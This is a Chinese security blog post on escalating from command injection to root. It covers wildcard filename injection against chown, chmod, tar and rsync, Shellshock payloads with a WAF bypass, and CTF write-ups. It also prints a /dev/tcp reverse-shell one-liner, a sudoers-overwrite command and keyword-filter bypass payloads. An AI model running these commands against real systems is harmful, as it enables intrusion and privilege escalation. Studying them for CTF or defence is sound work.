命令执行到提权


 

之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。

 

提权

这里我们讲讲在命令注入中更有意思的一种方法。

Wildcard Wilderness

Example 1

首先我们先看一个示例

echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help

首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容

cat file1
cat file 2
cat --help

如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。

不仅是catls等命令也会优先调用内置--help选项。

以及还有--all选项。

其实讲道理,词法分析把对诸如--help--all等选项优先处理为内置选项输出,看起来并没有任何问题

这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all--help可以通过加入././-all./--help来特指这个文件,避免这个问题)

Example 2

如图,我们有两个文件,当用rm *的时候,只删掉了file1file2,并没有删除*

或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1file2

使用strace rm *我们可以发现

由于当前目录中存在-rf文件名,rm-rf选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf进行删除

Trick

我们可以利用Wildcard Wilderness做一些更有用的事情。

File Owner Hijacking

现在我们有三个用户,一个zedd,一个test,一个root用户。

我们分别用zeddtest创建了不同的文件,1.phptest.php都属于test用户的文件,zedd.php--reference=zedd.php均属于zedd用户的文件。

然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改为test用户所有。

但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成功“提权”。

原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想把.php文件改变成zedd用户所有)

我们可以看到

execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0

跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理,而

--reference=RFILE  use RFILE's owner and group rather than
                         specifying OWNER:GROUP values

--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP参数。

因此,在这种情况下,chown--reference选项将覆盖指定为root用户输入的参数zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test

所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们想要的文件。

Chmod File Reference

类似chown的还有一个命令chmod,它也有--reference=RFIE的选项

--reference=RFILE  use RFILE's mode instead of MODE values

chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会把劫持到与.backdoor.php文件权限一样的权限

Tar命令利用

首先我们来看看tar命令帮助文档中的几个有意思的选项

--checkpoint[=NUMBER]  
    display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION   
    execute ACTION on each checkpoint

从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,--checkpoint-action=exec=sh shell.sh可以用来执行命令

先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有文件压缩到test.tar压缩包内

可见,/usr/bin/id已经被成功执行输出。

与之前一样,--checkpoint=1--checkpoint-action=exec=sh shell.sh被作为选项处理

在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘

rsync命令利用

rsync命令可能比较少用,我们这里简单介绍一下

NAME

​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rshssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。

rsync帮助文档含有以下几个比较有意思的选项

-e, --rsh=COMMAND           specify the remote shell to use
    --rsync-path=PROGRAM    specify the rsync to run on remote machine

--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预期命令

假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output,将文件内容读出。

得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件

Tips

  • 既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合msfvenom来使用。

  • tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个很好利用的点

  • tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*

    我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起来,就达不到污染参数的效果了

  • 还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直接写入管理员组

  • 利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;

文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php等形式。

Other

这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。

Echo

echo *可以用来显示目录,echo /???g可以用来探测文件

ln

NAME

​ ln - make links between files

ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s创建

例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat filephp -r "echo file_get_contents('file')"均可以读取到/flag的内容。

这个软链接读取文件内容已经被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告

  • CVE-2014-6271 测试方式:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

  • CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
    env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo

从一道题看Shell Shock

题目地址:command-executor——来源于 HackMe

题目描述:

​ Here's my useless developer assistant website, try to execute your own command!

题目大体思路是:

  • 读取源码
  • Shell Shock命令执行
  • 重定向读写文件

题目设置为几个功能,一个man命令的帮助文档

选择了ls,多了个请求参数file=ls

尝试用其他命令,比如find

猜测eval("man /bin/" + command)或者一些其他的目录

Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的内容

Cmd Exec界面只有两个命令,一个ls,一个env

List files是个目录列举界面,可以列举几个目录

观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar等均带有func=xxx参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index读取文件内容,成功得到回显

解码得到 index.php源码

<?php
$pages = [
    ['man', 'Man'],
    ['untar', 'Tar Tester'],
    ['cmd', 'Cmd Exec'],
    ['ls', 'List files'],
];

function fuck($msg) {
    header('Content-Type: text/plain');
    echo $msg;
    exit;
}

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

$page = '';

if(isset($_GET['func'])) {
    $page = $_GET['func'];
    if(strstr($page, '..') !== false) {
        $page = '';
    }
}

if($page && strlen($page) > 0) {
    try {
        include("$page.php");
    } catch (Exception $e) {
    }
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>Command Executor</title>
    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
    <link rel="stylesheet" href="comic-neue/font.css" media="all">
    <style>
      nav { margin-bottom: 1rem; }
      img { max-width: 100%; }
    </style>
  </head>
  <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
      <a class="navbar-brand" href="index.php">Command Executor</a>

      <ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
        <li class="nav-item">
          <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
        </li>
<?php endforeach; ?>
      </ul>
    </nav>

    <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
  </body>
</html>

man.php源码:

<?php
function render() {
    $file = 'man';
    if(isset($_GET['file'])) {
        $file = (string)$_GET['file'];
        if(preg_match('/^[\w\-]+$/', $file) !== 1) {
            echo '<pre>Invalid file name!</pre>';
            return;
        }
    }

    echo '<h1>Online documents</h1>';

    $cmds = [
        'bash', 'ls', 'cp', 'mv'
    ];

    echo '<ul>';
    foreach($cmds as $cmd) {
        printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
    }
    echo '</ul>';

    printf('<h2>$ man %s</h2>', htmlentities($file));

    echo '<pre>';
    execute(sprintf('man %s | cat', escapeshellarg($file)));
    echo '</pre>';
}
?>

untar.php源码:

<?php
function render() {
?>
<h1>Tar file tester</h1>

<p>Please upload a tar file to test</p>

<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
  <input type="file" name="tarfile" id="tarfile">
  <input class="btn btn-primary" type="submit" value="Upload &amp; Test">
</form>

<?php

    if(isset($_FILES['tarfile'])) {
        printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

        echo '<pre>';
        execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
        echo '</pre>';
    }
}
?>

ls.php源码:

<?php
function render() {
    $file = '.';
    if(isset($_GET['file'])) {
        $file = (string)$_GET['file'];
    }

    echo '<h1>Dictionary Traversal</h1>';

    echo '<ul>';
    $dirs = ['.', '..', '../..', '/etc/passwd'];
    foreach($dirs as $dir) {
        printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
    }
    echo '</ul>';

    printf('<h2>$ ls %s</h2>', htmlentities($file));

    echo '<pre>';
    execute(sprintf('ls -l %s', escapeshellarg($file)));
    echo '</pre>';
}
?>

cmd.php源码:

<?php
function render() {
    $cmd = '';
    if(isset($_GET['cmd'])) {
        $cmd = (string)$_GET['cmd'];
    }
?>
<h1>Command Execution</h1>
<?php
    echo '<ul>';
    $cmds = ['ls', 'env'];
    foreach($cmds as $c) {
        printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
    }
    echo '</ul>';
?>

<form action="index.php" method="GET">
  <input type="hidden" name="func" value="cmd">
  <div class="input-group">
    <input class="form-control" type="text" name="cmd" id="cmd">
    <div class="input-group-append">
      <input class="btn btn-primary" type="submit" value="Execute">
    </div>
  </div>
</form>
<script>cmd.focus();</script>
<?php

    if(strlen($cmd) > 0) {
        printf('<h2>$ %s</h2>', htmlentities($cmd));

        echo '<pre>';
        switch ($cmd) {
        case 'env':
        case 'ls':
        case 'ls -l':
        case 'ls -al':
            execute($cmd);
            break;
        case 'cat flag':
            echo '<img src="cat-flag.png" alt="cat flag">';
            break;
        default:
            printf('%s: command not found', htmlentities($cmd));
        }
        echo '</pre>';
    }
}
?>

接下来我们就可以利用ls.php来找flag了,因为ls.php没什么过滤,所以用func=ls&file=../../../可以发现根目录下的文件

接下来就是考虑怎么去读了,man.php因为有preg_match('/^[\w\-]+$/', $file) !== 1限制得比较死,untar.php貌似只有tar -tvf并没有什么用处,只有cmd.php给出了一个比较不太寻常的env这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock漏洞,并且在index.php中发现有

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

关键就在putenv函数,由于ShellShock漏洞 padyload 需要参数

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

我们就可以利用putenv实现参数传递,直接设置User-agent: () { :;}; echo 222222,发现被 waf

分析 waf 结合漏洞成因,我们可以在最后的};中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }这个 payload

发现当前用户为www-data,而我们之前发现根目录flag的权限为-r-------- 1 flag root 37 Jan 9 2018 flag,所以不能直接读取,但是有一个flag-readerflag-reader.c的文件,这应该是题目提示了。因为index.php又把flag关键字屏蔽了,我们也不能直接读取flag-reader.c,但是我们这里可以利用通配符读取,例如使用fla*.c

使用() { _; } >_[$($())] { cat /fla*.c; }得到flag-reader.c源码

Flag-reader.c:

#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buff[4096], rnd[16], val[16];
    if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
        write(1, "Not enough random\n", 18);
    }

    setuid(1337);
    seteuid(1337);
    alarm(1);
    write(1, &rnd, sizeof(rnd));
    read(0, &val, sizeof(val));

    if(memcmp(rnd, val, sizeof(rnd)) == 0) {
        int fd = open(argv[1], O_RDONLY);
        if(fd > 0) {
            int s = read(fd, buff, 1024);
            if(s > 0) {
                write(1, buff, s);
            }
            close(fd);
        } else {
            write(1, "Can not open file\n", 18);
        }
    } else {
        write(1, "Wrong response\n", 16);
    }
}

使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"直接反弹 shell

运行flag-reader

审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就write(1, "Wrong response\n", 16);...

然而我在回弹 shell 之后,利用/tmp可写的权限,貌似有点小问题,一旦cat /tmp/zedd,链接就断掉了,无奈只能找其他文件夹,发现/run/lock/var/tmp均可读可写,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd写入 flag

反弹 shell 使用cat非常容易断掉,最好使用执行的方式,最后得到 flag

上篇的解释与补充

特殊变量

这里再对上篇进行一定的补充与解释。

$n

变量含义
$0 当前脚本的文件名
$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9)
${n} 9<n时需要加上大括号

例如,脚本文件如下

#!/bin/bash

echo "File Name: $0"
echo "First Parameter : $1"
echo "First Parameter : $2"

执行脚本文件

$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd

而当没有参数的时候,$n就为空,所以我们可以用cat /fl$1ag这样绕过关键字过滤,并且在 bash 环境下

$ echo $0
bash

所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

$IFS

IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

$ echo $IFS

$ echo "$IFS" | od -b
0000000 040 011 012 012
0000004

我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,"040"是空格,"011"是Tab,"012"是换行符"\n" 。最后一个 012 是因为 echo 默认是会换行的。

$?

上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。

$

当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。

$ echo $$
75576

$

传递给脚本或函数的参数个数。

脚本文件内容:

#!/bin/bash

echo "Total Number of Parameters : $#"

执行命令

$ ./test.sh Hello Zedd
Total Number of Parameters : 2

\$*与\$@

都是传递给脚本或函数的所有参数。

脚本文件内容:

#!/bin/bash

echo "Quoted Values: $@"
echo "Quoted Values: $*"

执行命令:

$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd

它们不被双引号(" ")包含时,都以"1""2" … "$n" 的形式输出所有参数。

但是当它们被双引号(" ")包含时,"∗"会将所有的参数作为一个整体,以"1 2…n"的形式输出所有参数;"@"会将各个参数分开,以"1" "2"…"n" 的形式输出所有参数。

内置变量绕过

上篇其实提到了一点内置变量绕过,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量

$BASH

$ echo $BASH
/usr/local/bin/bash

返回 bash 二进制文件的路径

$HOME

$ $HOME
bash: /Users/zedd: Is a directory

返回当前用户所属目录

$PWD

$ echo $PWD
/

显示当前目录

$OLDPWD

$ echo $OLDPWD
/Users/zedd/Desktop/

返回上次所在目录

$PATH

$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin

环境变量$PATH

$PS1

$ echo $PS1
\s-\v\$

看到的命令行主要提示

$PS2

$ echo $PS2
>

额外输入的辅助提示,表示为>$PS3是 Shell 脚本中使用select时的提示符,显示为空,这里就不再单独列举了

$PS4

$ echo $PS4
+

set -x配合用来修改跟踪输出的前缀,显示为+

举个例子

Layer7 CTF 2018

可以访问https://cat.canhack.me/这个在线地址

题目描述

This service provides read the file.
https://cat.canhack.me/

This challenge was published in the Layer7 CTF in 2018.

WriteUp

点进去发现有

<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.

跟进得到test.txt的内容

猜测为文件包含,尝试直接读取flagwaf,直接读取https://cat.canhack.me/?file=index.php

<?php
    error_reporting(0);

    require __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php';

    if(isset($_GET['file'])){

        if(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){
            die('no hack');
        }

        system('cat "'.$_GET['file'].'"');

    }else{
        echo '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.';
    }

还剩下{}<>[]+-=^$@!&,是个关键字绕过,有$,我们很快可以联想到可以用$n这种方式绕过,最终 payload

https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php

参考:

Internal Variables

Shell中的IFS解惑

Shell 特殊变量

一个有趣的任意文件读写

利用通配符进行Linux本地提权

Unix Wildcards Gone Wild

posted @ 2019-04-13 15:38  linuxsec  阅读(2208)  评论(0编辑  收藏  举报